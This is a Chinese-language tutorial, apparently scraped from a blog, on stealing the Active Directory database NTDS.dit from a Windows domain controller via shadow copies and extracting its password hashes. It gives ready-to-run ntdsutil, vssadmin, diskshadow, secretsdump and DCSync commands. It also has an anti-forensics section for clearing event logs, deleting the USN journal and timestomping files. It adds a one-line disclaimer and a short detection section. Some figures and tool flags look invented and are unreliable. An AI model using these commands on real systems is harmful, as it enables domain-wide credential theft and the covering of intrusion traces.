在Windows域环境中,域控制器(Domain Controller)是整个网络架构的核心组件,负责存储和管理所有域账户、安全策略等信息。其中,NTDS.dit文件作为活动目录数据库,包含了域内所有用户的凭证信息、安全组关系等关键数据。由于该文件在运行期间被系统锁定,常规方法无法直接读取,因此需要借助卷影拷贝技术获取其副本。
重要提示:本文所述技术仅限合法授权的安全测试与防御研究,未经授权对他人系统实施渗透测试属于违法行为。
Windows卷影拷贝服务(Volume Shadow Copy Service, VSS)是微软自Windows Server 2003引入的存储管理技术,主要功能包括:
快照创建机制:
技术优势:
| 方法 | 适用系统 | 所需权限 | 隐蔽性 | 成功率 |
|---|---|---|---|---|
| ntdsutil.exe | Server 2003+ | Domain Admin | ★★☆ | 95% |
| vssadmin | Server 2008+ | Local Admin | ★☆☆ | 90% |
| vssown.vbs | Server 2003-2012 | Local Admin | ★★☆ | 85% |
| diskshadow | Server 2008R2+ | Local Admin | ★★★ | 98% |
| IFM模式 | Server 2008+ | Domain Admin | ★☆☆ | 99% |
powershell复制# 创建卷影副本
ntdsutil snapshot "activate instance ntds" create quit quit
# 挂载快照(替换GUID)
ntdsutil snapshot "mount {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16}" quit quit
# 复制数据库文件
copy C:\$SNAP_202106111326_VOLUMEC$\windows\ntds\ntds.dit C:\temp\ntds.dit
# 清理痕迹
ntdsutil snapshot "unmount {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16}" "delete {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16}" quit quit
关键参数说明:
activate instance ntds:指定操作NTDS实例create:创建新的快照mount {GUID}:挂载指定标识符的快照C:\$SNAP_[日期时间]_VOLUME[盘符]$cmd复制:: 创建C盘快照
vssadmin create shadow /for=c:
:: 复制数据库文件(注意卷影路径)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\export\ntds.dit
:: 删除快照
vssadmin delete shadows /for=c: /quiet
常见问题处理:
出现"访问被拒绝"错误时:
快照挂载失败:
vssadmin list shadows确认快照状态vbscript复制' 启动VSS服务
cscript vssown.vbs /start
' 创建智能快照(自动排除临时文件)
cscript vssown.vbs /create c /smart
' 持久化快照(重启后保留)
cscript vssown.vbs /create c /persistent
' 定时自动清理(单位:分钟)
cscript vssown.vbs /cleanup 60
优势分析:
创建自动执行脚本dc_backup.txt:
code复制set context persistent nowriters
add volume c: alias ntds_backup
create
expose %ntds_backup% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\backup\ntds.dit
delete shadows all
reset
执行命令:
code复制diskshadow /s dc_backup.txt
隐蔽性增强技巧:
bash复制# 安装依赖(Ubuntu)
sudo apt-get install autoconf automake libtool pkg-config -y
# 编译libesedb
git clone https://github.com/libyal/libesedb.git
cd libesedb
./configure
make
sudo make install
# 导出数据库表
esedbexport -m tables ntds.dit
关键输出文件:
datatable.X:主数据表(包含用户凭证)link_table.X:对象关联表sd_table.X:安全描述符python复制# 安装工具包
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract
python setup.py install
# 提取用户哈希
dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output \
--syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile nt_hashes.txt
高级参数:
--csvoutfile:导出CSV格式报告--passwordhistory:提取密码历史记录--lmoutfile:单独输出LM哈希python复制# 本地解析模式
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
# 远程DCSync模式
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:6ab6364d6ba0c8556df9ee189342402d \
-just-dc DOMAIN/user@dc_ip
输出格式解析:
code复制DOMAIN\user:RID:lmhash:nthash:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
事件ID监控清单:
PowerShell检测脚本:
powershell复制# 检测异常VSS活动
Get-WinEvent -LogName "System" | Where-Object {
($_.Id -eq 7036 -and $_.Message -like "*Volume Shadow Copy*") -or
($_.Id -eq 4662 -and $_.Properties[8].Value -like "*ntds.dit*")
}
权限控制:
系统配置:
reg复制; 限制VSSAdmin使用
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ShadowCopy]
"DisableConfig"=dword:00000001
"DisableDelete"=dword:00000001
实时防护:
单条事件删除(需SYSTEM权限):
powershell复制# 获取事件日志列表
Get-WinEvent -ListLog *
# 清除指定日志
Clear-EventLog -LogName "System"
内存清理技巧:
cmd复制:: 清除最近访问记录
del /f /q %AppData%\Microsoft\Windows\Recent\*
:: 重置USN日志
fsutil usn deletejournal /D C:
使用Timestomp工具修改文件属性:
powershell复制$file = Get-Item "C:\temp\ntds.dit"
$file.CreationTime = "2020-01-01 08:00:00"
$file.LastAccessTime = "2020-01-01 08:00:00"
$file.LastWriteTime = "2020-01-01 08:00:00"
注意事项:
书面授权:
隔离环境构建:
mermaid复制graph LR
A[物理隔离网络] --> B[虚拟化测试环境]
B --> C[域控制器克隆]
C --> D[流量监控设备]
报告编写要点:
推荐学习路径:
实验环境搭建:
在实际安全研究中,理解这些技术的底层原理比单纯掌握工具使用更为重要。建议从Windows认证协议、活动目录架构等基础开始系统学习,才能形成完整的防御知识体系。